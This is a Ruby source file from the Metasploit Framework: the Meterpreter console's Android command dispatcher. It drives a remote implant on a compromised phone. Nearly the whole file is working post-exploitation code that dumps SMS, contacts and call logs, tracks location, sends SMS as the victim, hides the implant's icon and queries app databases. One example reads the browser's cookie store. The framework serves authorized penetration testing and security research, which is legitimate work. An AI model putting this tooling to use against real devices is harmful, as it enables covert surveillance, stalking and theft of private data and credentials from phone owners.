rapid7/metasploit-framework

View on GitHub
lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb

Summary

Maintainability
F
5 days
Test Coverage
# -*- coding: binary -*-
require 'rex/post/meterpreter'
require 'rex/post/meterpreter/extensions/android/command_ids'
require 'date'

module Rex
module Post
module Meterpreter
module Ui
###
# Android extension - set of commands to be executed on android devices.
# extension by Anwar Mohamed (@anwarelmakrahy)
###
class Console::CommandDispatcher::Android

  include Console::CommandDispatcher
  include Msf::Auxiliary::Report
  include Rex::Post::Meterpreter::Extensions::Android

  #
  # List of supported commands.
  #
  def commands
    all = {
      'dump_sms'          => 'Get sms messages',
      'dump_contacts'     => 'Get contacts list',
      'geolocate'         => 'Get current lat-long using geolocation',
      'dump_calllog'      => 'Get call log',
      'check_root'        => 'Check if device is rooted',
      'device_shutdown'   => 'Shutdown device',
      'send_sms'          => 'Sends SMS from target session',
      'wlan_geolocate'    => 'Get current lat-long using WLAN information',
      'interval_collect'  => 'Manage interval collection capabilities',
      'activity_start'    => 'Start an Android activity from a Uri string',
      'hide_app_icon'     => 'Hide the app icon from the launcher',
      'sqlite_query'      => 'Query a SQLite database from storage',
      'set_audio_mode'    => 'Set Ringer Mode',
      'wakelock'          => 'Enable/Disable Wakelock',
    }
    reqs = {
      'dump_sms'         => [COMMAND_ID_ANDROID_DUMP_SMS],
      'dump_contacts'    => [COMMAND_ID_ANDROID_DUMP_CONTACTS],
      'geolocate'        => [COMMAND_ID_ANDROID_GEOLOCATE],
      'dump_calllog'     => [COMMAND_ID_ANDROID_DUMP_CALLLOG],
      'check_root'       => [COMMAND_ID_ANDROID_CHECK_ROOT],
      'device_shutdown'  => [COMMAND_ID_ANDROID_DEVICE_SHUTDOWN],
      'send_sms'         => [COMMAND_ID_ANDROID_SEND_SMS],
      'wlan_geolocate'   => [COMMAND_ID_ANDROID_WLAN_GEOLOCATE],
      'interval_collect' => [COMMAND_ID_ANDROID_INTERVAL_COLLECT],
      'activity_start'   => [COMMAND_ID_ANDROID_ACTIVITY_START],
      'hide_app_icon'    => [COMMAND_ID_ANDROID_HIDE_APP_ICON],
      'sqlite_query'     => [COMMAND_ID_ANDROID_SQLITE_QUERY],
      'set_audio_mode'   => [COMMAND_ID_ANDROID_SET_AUDIO_MODE],
      'wakelock'         => [COMMAND_ID_ANDROID_WAKELOCK],
    }
    filter_commands(all, reqs)
  end

  def interval_collect_usage
    print_line('Usage: interval_collect <parameters>')
    print_line
    print_line('Specifies an action to perform on a collector type.')
    print_line
    print_line(@@interval_collect_opts.usage)
  end

  def cmd_interval_collect(*args)
      @@interval_collect_opts ||= Rex::Parser::Arguments.new(
        '-h' => [false, 'Help Banner'],
        '-a' => [true, "Action (required, one of: #{client.android.collect_actions.join(', ')})"],
        '-c' => [true, "Collector type (required, one of: #{client.android.collect_types.join(', ')})"],
        '-t' => [true, 'Collect poll timeout period in seconds (default: 30)']
      )

      opts = {
        action:  nil,
        type:    nil,
        timeout: 30
      }

      @@interval_collect_opts.parse(args) do |opt, idx, val|
        case opt
        when '-a'
          opts[:action] = val.downcase
        when '-c'
          opts[:type] = val.downcase
        when '-t'
          opts[:timeout] = val.to_i
          opts[:timeout] = 30 if opts[:timeout] <= 0
        end
      end

      unless client.android.collect_actions.include?(opts[:action])
        interval_collect_usage
        return
      end

      args.shift.downcase

      unless client.android.collect_types.include?(opts[:type])
        interval_collect_usage
        return
      end

      result = client.android.interval_collect(opts)
      if result[:headers].length > 0 && result[:entries].length > 0
        header = "Captured #{opts[:type]} data"

        if result[:timestamp]
          time = ::Time.at(result[:timestamp]).to_datetime
          header << " at #{time.strftime('%Y-%m-%d %H:%M:%S')}"
        end

        table = Rex::Text::Table.new(
          'Header'    => header,
          'SortIndex' => 0,
          'Columns'   => result[:headers],
          'Indent'    => 0
        )

        result[:entries].each do |e|
          table << e
        end

        print_line
        print_line(table.to_s)
      else
        print_good('Interval action completed successfully')
      end
  end

  def cmd_device_shutdown(*args)
    seconds = 0
    device_shutdown_opts = Rex::Parser::Arguments.new(
      '-h' => [ false, 'Help Banner' ],
      '-t' => [ false, 'Shutdown after n seconds']
    )

    device_shutdown_opts.parse(args) do |opt, _idx, val|
      case opt
      when '-h'
        print_line('Usage: device_shutdown [options]')
        print_line('Shutdown device.')
        print_line(device_shutdown_opts.usage)
        return
      when '-t'
        seconds = val.to_i
      end
    end

    res = client.android.device_shutdown(seconds)

    if res
      print_status("Device will shutdown #{seconds > 0 ? ('after ' + seconds + ' seconds') : 'now'}")
    else
      print_error('Device shutdown failed')
    end
  end

  def cmd_set_audio_mode(*args)
    help = false
    mode = 1
    set_audio_mode_opts = Rex::Parser::Arguments.new(
      '-h' => [ false, "Help Banner" ],
      '-m' => [ true, "Set Mode - (0 - Off, 1 - Normal, 2 - Max) (Default: '#{mode}')"]
    )

    set_audio_mode_opts.parse(args) do |opt, _idx, val|
      case opt
      when '-h'
        help = true
      when '-m'
        mode = val.to_i
      else
        help = true
      end
    end

    if help || mode < 0 || mode > 2
      print_line('Usage: set_audio_mode [options]')
      print_line('Set Ringer mode.')
      print_line(set_audio_mode_opts.usage)
      return
    end

    client.android.set_audio_mode(mode)
    print_status("Ringer mode was changed to #{mode}!")
  end

  def cmd_dump_sms(*args)
    path = "sms_dump_#{::Time.new.strftime('%Y%m%d%H%M%S')}.txt"
    dump_sms_opts = Rex::Parser::Arguments.new(
      '-h' => [ false, 'Help Banner' ],
      '-o' => [ true, 'Output path for sms list']
    )

    dump_sms_opts.parse(args) do |opt, _idx, val|
      case opt
      when '-h'
        print_line('Usage: dump_sms [options]')
        print_line('Get sms messages.')
        print_line(dump_sms_opts.usage)
        return
      when '-o'
        path = val
      end
    end

    sms_list = client.android.dump_sms

    if sms_list.count > 0
      print_status("Fetching #{sms_list.count} sms #{sms_list.count == 1 ? 'message' : 'messages'}")
      begin
        info = client.sys.config.sysinfo

        data = ""
        data << "\n=====================\n"
        data << "[+] SMS messages dump\n"
        data << "=====================\n\n"

        time = ::Time.new
        data << "Date: #{time.inspect}\n"
        data << "OS: #{info['OS']}\n"
        data << "Remote IP: #{client.sock.peerhost}\n"
        data << "Remote Port: #{client.sock.peerport}\n\n"

        sms_list.each_with_index do |a, index|
          data << "##{index.to_i + 1}\n"

          type = 'Unknown'
          if a['type'] == '1'
            type = 'Incoming'
          elsif a['type'] == '2'
            type = 'Outgoing'
          end

          status = 'Unknown'
          if a['status'] == '-1'
            status = 'NOT_RECEIVED'
          elsif a['status'] == '1'
            status = 'SME_UNABLE_TO_CONFIRM'
          elsif a['status'] == '0'
            status = 'SUCCESS'
          elsif a['status'] == '64'
            status = 'MASK_PERMANENT_ERROR'
          elsif a['status'] == '32'
            status = 'MASK_TEMPORARY_ERROR'
          elsif a['status'] == '2'
            status = 'SMS_REPLACED_BY_SC'
          end

          data << "Type\t: #{type}\n"

          time = a['date'].to_i / 1000
          time = ::Time.at(time)

          data << "Date\t: #{time.strftime('%Y-%m-%d %H:%M:%S')}\n"
          data << "Address\t: #{a['address']}\n"
          data << "Status\t: #{status}\n"
          data << "Message\t: #{a['body']}\n\n"
        end

        ::File.write(path, data)
        print_status("SMS #{sms_list.count == 1 ? 'message' : 'messages'} saved to: #{path}")

        return true
      rescue
        print_error("Error getting messages: #{$ERROR_INFO}")
        return false
      end
    else
      print_status('No sms messages were found!')
      return false
    end
  end

  def cmd_dump_contacts(*args)
    path   = "contacts_dump_#{::Time.new.strftime('%Y%m%d%H%M%S')}"
    format = :text

    dump_contacts_opts = Rex::Parser::Arguments.new(
      '-h' => [ false, 'Help Banner' ],
      '-o' => [ true, 'Output path for contacts list' ],
      '-f' => [ true, 'Output format for contacts list (text, csv, vcard)' ]
    )

    dump_contacts_opts.parse(args) do |opt, _idx, val|
      case opt
      when '-h'
        print_line('Usage: dump_contacts [options]')
        print_line('Get contacts list.')
        print_line(dump_contacts_opts.usage)
        return
      when '-o'
        path = val
      when '-f'
        case val
        when 'text'
          format = :text
        when 'csv'
          format = :csv
        when 'vcard'
          format = :vcard
        else
          print_error('Invalid output format specified')
          return
        end
      end
    end

    contact_list = client.android.dump_contacts

    if contact_list.count > 0
      print_status("Fetching #{contact_list.count} #{contact_list.count == 1 ? 'contact' : 'contacts'} into list")
      begin
        data = ''

        case format
        when :text
          info  = client.sys.config.sysinfo
          path << '.txt' unless path.end_with?('.txt')

          data << "\n======================\n"
          data << "[+] Contacts list dump\n"
          data << "======================\n\n"

          time = ::Time.new
          data << "Date: #{time.inspect}\n"
          data << "OS: #{info['OS']}\n"
          data << "Remote IP: #{client.sock.peerhost}\n"
          data << "Remote Port: #{client.sock.peerport}\n\n"

          contact_list.each_with_index do |c, index|

            data << "##{index.to_i + 1}\n"
            data << "Name\t: #{c['name']}\n"

            c['number'].each do |n|
              data << "Number\t: #{n}\n"
            end

            c['email'].each do |n|
              data << "Email\t: #{n}\n"
            end

            data << "\n"
          end
        when :csv
          path << '.csv' unless path.end_with?('.csv')

          contact_list.each do |contact|
            data << contact.values.to_csv
          end
        when :vcard
          path << '.vcf' unless path.end_with?('.vcf')

          contact_list.each do |contact|
            data << "BEGIN:VCARD\n"
            data << "VERSION:3.0\n"
            data << "FN:#{contact['name']}\n"

            contact['number'].each do |number|
              data << "TEL:#{number}\n"
            end

            contact['email'].each do |email|
              data << "EMAIL:#{email}\n"
            end

            data << "END:VCARD\n"
          end
        end

        ::File.write(path, data)
        print_status("Contacts list saved to: #{path}")

        return true
      rescue
        print_error("Error getting contacts list: #{$ERROR_INFO}")
        return false
      end
    else
      print_status('No contacts were found!')
      return false
    end
  end

  def cmd_geolocate(*args)
    generate_map = false
    geolocate_opts = Rex::Parser::Arguments.new(
      '-h' => [ false, 'Help Banner' ],
      '-g' => [ false, 'Generate map using google-maps']
    )

    geolocate_opts.parse(args) do |opt, _idx, _val|
      case opt
      when '-h'
        print_line('Usage: geolocate [options]')
        print_line('Get current location using geolocation.')
        print_line(geolocate_opts.usage)
        return
      when '-g'
        generate_map = true
      end
    end

    geo = client.android.geolocate

    print_status('Current Location:')
    print_line("\tLatitude:  #{geo[0]['lat']}")
    print_line("\tLongitude: #{geo[0]['long']}\n")
    print_line("To get the address: https://maps.googleapis.com/maps/api/geocode/json?latlng=#{geo[0]['lat'].to_f},#{geo[0]['long'].to_f}&sensor=true\n")

    if generate_map
      link = "https://maps.google.com/maps?q=#{geo[0]['lat'].to_f},#{geo[0]['long'].to_f}"
      print_status("Generated map on google-maps:")
      print_status(link)
      Rex::Compat.open_browser(link)
    end

  end

  def cmd_dump_calllog(*args)
    path = "calllog_dump_#{::Time.new.strftime('%Y%m%d%H%M%S')}.txt"
    dump_calllog_opts = Rex::Parser::Arguments.new(
      '-h' => [ false, 'Help Banner' ],
      '-o' => [ true, 'Output path for call log']
    )

    dump_calllog_opts.parse(args) do |opt, _idx, val|
      case opt
      when '-h'
        print_line('Usage: dump_calllog [options]')
        print_line('Get call log.')
        print_line(dump_calllog_opts.usage)
        return
      when '-o'
        path = val
      end
    end

    log = client.android.dump_calllog

    if log.count > 0
      print_status("Fetching #{log.count} #{log.count == 1 ? 'entry' : 'entries'}")
      begin
        info = client.sys.config.sysinfo

        data = ""
        data << "\n=================\n"
        data << "[+] Call log dump\n"
        data << "=================\n\n"

        time = ::Time.new
        data << "Date: #{time.inspect}\n"
        data << "OS: #{info['OS']}\n"
        data << "Remote IP: #{client.sock.peerhost}\n"
        data << "Remote Port: #{client.sock.peerport}\n\n"

        log.each_with_index do |a, index|
          data << "##{index.to_i + 1}\n"
          data << "Number\t: #{a['number']}\n"
          data << "Name\t: #{a['name']}\n"
          data << "Date\t: #{a['date']}\n"
          data << "Type\t: #{a['type']}\n"
          data << "Duration: #{a['duration']}\n\n"
        end

        ::File.write(path, data)
        print_status("Call log saved to #{path}")

        return true
      rescue
        print_error("Error getting call log: #{$ERROR_INFO}")
        return false
      end
    else
      print_status('No call log entries were found!')
      return false
    end
  end

  def cmd_check_root(*args)

    check_root_opts = Rex::Parser::Arguments.new(
      '-h' => [ false, 'Help Banner' ]
    )

    check_root_opts.parse(args) do |opt, _idx, _val|
      case opt
      when '-h'
        print_line('Usage: check_root [options]')
        print_line('Check if device is rooted.')
        print_line(check_root_opts.usage)
        return
      end
    end

    is_rooted = client.android.check_root

    if is_rooted
      print_good('Device is rooted')
    else
      print_status('Device is not rooted')
    end
  end

  def cmd_send_sms(*args)
    send_sms_opts = Rex::Parser::Arguments.new(
      '-h' => [ false, 'Help Banner' ],
      '-d' => [ true, 'Destination number' ],
      '-t' => [ true, 'SMS body text' ],
      '-r' => [ false, 'Wait for delivery report' ]
    )

    dest = ''
    body = ''
    dr = false

    send_sms_opts.parse(args) do |opt, _idx, val|
      case opt
      when '-h'
        print_line('Usage: send_sms -d <number> -t <sms body>')
        print_line('Sends SMS messages to specified number.')
        print_line(send_sms_opts.usage)
        return
      when '-d'
        dest = val
      when '-t'
        body = val
        # Replace \n with a newline character to allow multi-line messages
        body.gsub!('\n',"\n")
      when '-r'
        dr = true
      end
    end

    if dest.to_s.empty? || body.to_s.empty?
      print_error("You must enter both a destination address -d and the SMS text body -t")
      print_error('e.g. send_sms -d +351961234567 -t "GREETINGS PROFESSOR FALKEN."')
      print_line(send_sms_opts.usage)
      return
    end

    sent = client.android.send_sms(dest, body, dr)
    if dr
      if sent[0] == "Transmission successful"
        print_good("SMS sent - #{sent[0]}")
      else
        print_error("SMS send failed - #{sent[0]}")
      end
      if sent[1] == "Transmission successful"
        print_good("SMS delivered - #{sent[1]}")
      else
        print_error("SMS delivery failed - #{sent[1]}")
      end
    else
      if sent == "Transmission successful"
        print_good("SMS sent - #{sent}")
      else
        print_error("SMS send failed - #{sent}")
      end
    end
  end

  def cmd_wlan_geolocate(*args)
    wlan_geolocate_opts = Rex::Parser::Arguments.new(
      '-h' => [ false, 'Help Banner' ],
      '-a' => [ true, 'API key' ],
    )

    api_key = ''
    wlan_geolocate_opts.parse(args) do |opt, _idx, val|
      case opt
      when '-h'
        print_line('Usage: wlan_geolocate')
        print_line('Tries to get device geolocation from WLAN information and Google\'s API')
        print_line(wlan_geolocate_opts.usage)
        return
      when '-a'
        api_key = val
      end
    end

    if api_key.blank?
      print_error("You must enter an api_key")
      print_error("e.g. wlan_geolocate -a YOUR_API_KEY")
      print_line(wlan_geolocate_opts.usage)
      return
    end

    log = client.android.wlan_geolocate
    wlan_list = []
    log.each do |x|
      mac = x['bssid']
      ssid = x['ssid']
      ss = x['level']
      wlan_list << [mac, ssid, ss.to_s]
    end

    if wlan_list.to_s.empty?
      print_error("Unable to enumerate wireless networks from the target.  Wireless may not be present or enabled.")
      return
    end
    g = Rex::Google::Geolocation.new
    g.set_api_key(api_key)

    wlan_list.each do |wlan|
      g.add_wlan(wlan[0], wlan[2]) # bssid, signalstrength
    end
    begin
      g.fetch!
    rescue RuntimeError => e
      print_error("Error: #{e}")
    else
      print_status(g.to_s)
      print_status("Google Maps URL: #{g.google_maps_url}")
    end
  end

  def cmd_activity_start(*args)
    if (args.length < 1)
      print_line("Usage: activity_start <uri>\n")
      print_line("Start an Android activity from a uri")
      return
    end

    uri = args[0]
    result = client.android.activity_start(uri)
    if result.nil?
      print_status("Intent started")
    else
      print_error("Error: #{result}")
    end
  end

  def cmd_hide_app_icon(*args)
    hide_app_icon_opts = Rex::Parser::Arguments.new(
      '-h' => [ false, 'Help Banner' ]
    )

    hide_app_icon_opts.parse(args) do |opt, _idx, _val|
      case opt
      when '-h'
        print_line('Usage: hide_app_icon [options]')
        print_line('Hide the application icon from the launcher.')
        print_line(hide_app_icon_opts.usage)
        return
      end
    end

    result = client.android.hide_app_icon
    if result
      print_status("Activity #{result} was hidden")
    end
  end

  def cmd_sqlite_query(*args)
    sqlite_query_opts = Rex::Parser::Arguments.new(
      '-h' => [ false, 'Help Banner' ],
      '-d' => [ true, 'The sqlite database file'],
      '-q' => [ true, 'The sqlite statement to execute'],
      '-w' => [ false, 'Open the database in writable mode (for INSERT/UPDATE statements)']
    )

    writeable = false
    database = ''
    query = ''
    sqlite_query_opts.parse(args) do |opt, _idx, val|
      case opt
      when '-h'
        print_line("Usage: sqlite_query -d <database_file> -q <statement>\n")
        print_line(sqlite_query_opts.usage)
        return
      when '-d'
        database = val
      when '-q'
        query = val
      when '-w'
        writeable = true
      end
    end

    if database.blank? || query.blank?
      print_error("You must enter both a database files and a query")
      print_error("e.g. sqlite_query -d /data/data/com.android.browser/databases/webviewCookiesChromium.db -q 'SELECT * from cookies'")
      print_line(sqlite_query_opts.usage)
      return
    end

    result = client.android.sqlite_query(database, query, writeable)
    unless writeable
      header = "#{query} on database file #{database}"
      table = Rex::Text::Table.new(
        'Header'    => header,
        'Columns'   => result[:columns],
        'Indent'    => 0
      )
      result[:rows].each do |e|
        table << e
      end
      print_line
      print_line(table.to_s)
    end
  end

  def cmd_wakelock(*args)
    wakelock_opts = Rex::Parser::Arguments.new(
      '-h' => [ false, 'Help Banner' ],
      '-r' => [ false, 'Release wakelock' ],
      '-w' => [ false, 'Turn screen on' ],
      '-f' => [ true, 'Advanced Wakelock flags (e.g 268435456)' ],
    )

    flags = 1 # PARTIAL_WAKE_LOCK
    wakelock_opts.parse(args) do |opt, _idx, val|
      case opt
      when '-h'
        print_line('Usage: wakelock [options]')
        print_line(wakelock_opts.usage)
        return
      when '-r'
        flags = 0
      when '-w'
        client.android.wakelock(0)
        flags = 268435482
      when '-f'
        flags = val.to_i
      end
    end

    client.android.wakelock(flags)
    if flags == 0
      print_status("Wakelock was released")
    else
      print_status("Wakelock was acquired")
    end
  end

  #
  # Name for this dispatcher
  #
  def name
    'Android'
  end
end
end
end
end
end